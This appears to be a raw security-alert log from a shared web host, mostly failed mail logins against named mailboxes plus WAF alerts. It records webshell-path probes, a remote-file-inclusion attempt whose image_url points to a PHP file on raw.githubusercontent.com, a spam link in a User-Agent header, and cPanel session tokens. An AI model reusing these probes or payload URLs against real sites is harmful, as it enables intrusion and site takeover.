IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/admin.php||SC:proxy:http://127.0.0.1/cgi-sys/autodiscover.cgi||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.171.95.112
country_id: 1835841
description:
2026-07-20 22:18:05 dovecot_login authenticator failed for H=([222.116.28.56]) [121.171.95.112]:57458: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 40.114.39.176
country_id: 6252001
domain: autodiscover.cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/goods.php||SC:proxy:http://127.0.0.1/cgi-sys/autodiscover.cgi||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 40.114.39.176
country_id: 6252001
domain: autodiscover.cochinbigbandshow.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:proxy:http://127.0.0.1/cgi-sys/autodiscover.cgi||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.247.22.181
country_id: 1835841
description:
2026-07-20 22:18:46 dovecot_login authenticator failed for H=(h31-192-201-106.cust.bredband2.com) [106.247.22.181]:45653: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.221.68
country_id: 1835841
description:
2026-07-20 22:19:11 dovecot_login authenticator failed for H=([142.54.236.102]) [220.80.221.68]:55124: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.191.181.23
country_id: 2661886
description:
2026-07-20 22:20:02 dovecot_login authenticator failed for H=c83-191-181-23.bredband.tele2.se ([178.170.221.148]) [83.191.181.23]:37714: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-20 22:20:20 dovecot_login authenticator failed for H=([196.216.81.126]) [103.168.241.32]:55198: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.191.176.93
country_id: 2661886
description:
2026-07-20 22:21:52 dovecot_login authenticator failed for H=c83-191-176-93.bredband.tele2.se ([174.75.211.198]) [83.191.176.93]:57524: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.50
country_id: 1668284
description:
2026-07-20 22:21:30 dovecot_login authenticator failed for H=111-70-32-50.emome-ip.hinet.net ([27.24.141.169]) [111.70.32.50]:38674: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.240.104.100
country_id: 2077456
description:
2026-07-20 22:21:30 dovecot_login authenticator failed for H=(31-154-122-202.orange.net.il) [220.240.104.100]:32858: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.44.206
country_id: 1269750
description:
2026-07-20 22:21:43 dovecot_login authenticator failed for H=([49.124.151.18]) [122.185.44.206]:48036: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 11009
name: WHM login success
abuser: 223.181.11.181
country_id: 1269750
description:
[2026-07-20 22:22:56 +0530] info [whostmgrd] 223.181.11.181 NEW futuracarecom:i39gLPYpc4_NV4k8 address=223.181.11.181,app=cpaneld,creator=root,method=handle_auth_transfer,path=xfercpanel


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 223.181.11.181
country_id: 1269750
description:
[2026-07-20 22:22:56 +0530] info [cpaneld] 223.181.11.181 NEW futuracarecom:yzKld0dGTiXulNON address=223.181.11.181,app=cpaneld,creator=futuracarecom,method=handle_form_login,path=loadsession:futuracarecom:i39gLPYpc4_NV4k8,possessed=1,possessor=root


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.124
country_id: 1668284
description:
2026-07-20 22:22:19 dovecot_login authenticator failed for H=([218.21.250.151]) [101.13.4.124]:52202: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.197.199
country_id: 2661886
description:
2026-07-20 22:26:48 dovecot_login authenticator failed for H=213-66-197-199-no2550.tbcn.telia.com ([113.193.187.154]) [213.66.197.199]:56654: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: modsec
rule: 77316832
name: IM360 WAF: Suspicious Joomla plugin installation attempt
abuser: 2401:4900:8fdd:80b0:8588:f400:b5ad:1a7e
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Suspicious Joomla plugin installation attempt||File:plg_system_visformsapprovalworkflow-2.1.1.zip||RSV:8.32||T:APACHE||Install directory:/home/futuracarecom/tmp||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-20 22:27:41 dovecot_login authenticator failed for H=([197.157.252.162]) [94.16.17.141]:55958: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.79.170.117
country_id: 1835841
description:
2026-07-20 22:27:59 dovecot_login authenticator failed for H=([111.26.69.159]) [61.79.170.117]:39258: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-20 22:28:49 dovecot_login authenticator failed for H=([125.177.88.144]) [102.210.148.41]:51194: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-20 22:29:06 dovecot_login authenticator failed for H=([59.144.79.102]) [117.211.15.93]:55856: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.151.169
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:192.186.151.169||TA:192.186.151.169||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.160.124.86
country_id: 1835841
description:
2026-07-20 22:29:40 dovecot_login authenticator failed for H=([196.216.81.126]) [115.160.124.86]:56340: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.255.83.8
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://kingslot96.Godaddysites.com/\">kingslot96</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.184.80
country_id: 99237
description:
2026-07-20 22:31:33 dovecot_plain authenticator failed for H=(phidge) [65.20.184.80]:52232: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-20 22:33:48 dovecot_login authenticator failed for H=([59.11.246.91]) [182.95.119.30]:51132: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2401:4900:8fdd:80b0:8588:f400:b5ad:1a7e
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.32||T:APACHE||MVN:ARGS:vfedit10incident-classification[]||MV:Moderate||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.45.144.201
country_id: 6252001
description:
2026-07-20 22:33:59 dovecot_login authenticator failed for H=66-45-144-201-dynamic.midco.net ([121.178.185.141]) [66.45.144.201]:50976: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.167.160.161
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/65438972 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.198.156.49
country_id: 3144096
description:
2026-07-20 22:35:15 dovecot_plain authenticator failed for H=(psioly) [209.198.156.49]:58121: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2401:4900:8fdd:80b0:8588:f400:b5ad:1a7e
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.32||T:APACHE||MVN:ARGS:vfedit10incident-classification[]||MV:Major||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.154.80.51
country_id: 2245662
description:
2026-07-20 22:40:57 dovecot_login authenticator failed for H=([186.103.136.43]) [213.154.80.51]:42882: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.55.79.195
country_id: 337996
description:
2026-07-20 22:41:15 dovecot_login authenticator failed for H=([206.220.175.5]) [213.55.79.195]:57218: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.214.44.117
country_id: 149590
description:
2026-07-20 22:41:27 dovecot_login authenticator failed for H=(190024687.ip3.static.mediacommerce.com.co) [102.214.44.117]:60102: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.240.104.100
country_id: 2077456
description:
2026-07-20 22:43:47 dovecot_login authenticator failed for H=([78.187.230.168]) [220.240.104.100]:50313: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.237.208
country_id: 1269750
description:
2026-07-20 22:45:26 dovecot_login authenticator failed for H=(119.92.76.212.static.pldt.net) [106.201.237.208]:46264: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 2804:14c:52:21e6:d5c1:b549:57cc:22b8
country_id: 3469034
domain: futuracare.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:88557.futuracare.com.au||ServerName:futuracare.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4b46f017f69dd572b7534b7f6e217fbd90f324c0||Title:0x6bd33252||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 24.38.203.83
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/cb2799179 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.6.226.104
country_id: 6252001
description:
2026-07-20 22:51:02 dovecot_login authenticator failed for H=209-6-226-104.s4710.c3-0.wtr-cbr1.sbo-wtr.ma.cable.rcncustomer.com ([49.81.176.166]) [209.6.226.104]:42342: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.212.9.122
country_id: 1835841
description:
2026-07-20 22:51:10 dovecot_login authenticator failed for H=(ipmapt-72-195-34-37.oc.oc.cox.net) [123.212.9.122]:51733: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.33.194
country_id: 1668284
description:
2026-07-20 22:50:49 dovecot_login authenticator failed for H=111-70-33-194.emome-ip.hinet.net (Dinamic-Tigo-181-205-51-99.tigo.com.co) [111.70.33.194]:59862: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 16.79.112.1
country_id: 1643084
domain: fefkadirectorsunion.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/JohnFoee/Miaw/refs/heads/main/apa.php||User:fefkadirectors||SC:/home/fefkadirectors/public_html/index.php||WPU:||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.179.163.27
country_id: 1269750
description:
2026-07-20 22:52:06 dovecot_login authenticator failed for H=([70.166.167.49]) [122.179.163.27]:41780: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-20 22:51:35 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se ([104.37.132.51]) [155.4.31.215]:46436: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.110.176.222
country_id: 1694008
description:
2026-07-20 22:53:35 dovecot_login authenticator failed for H=([36.92.35.211]) [27.110.176.222]:59364: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.201.173
country_id: 660013
description:
2026-07-20 22:53:57 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc9-173.dhcp.inet.fi ([118.37.27.11]) [80.223.201.173]:42332: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-20 22:53:23 dovecot_login authenticator failed for H=([192.252.211.196]) [102.210.148.41]:47082: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 64.184.83.115
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e41800077 HTTP/1.1||RSV:8.32||T:APACHE||


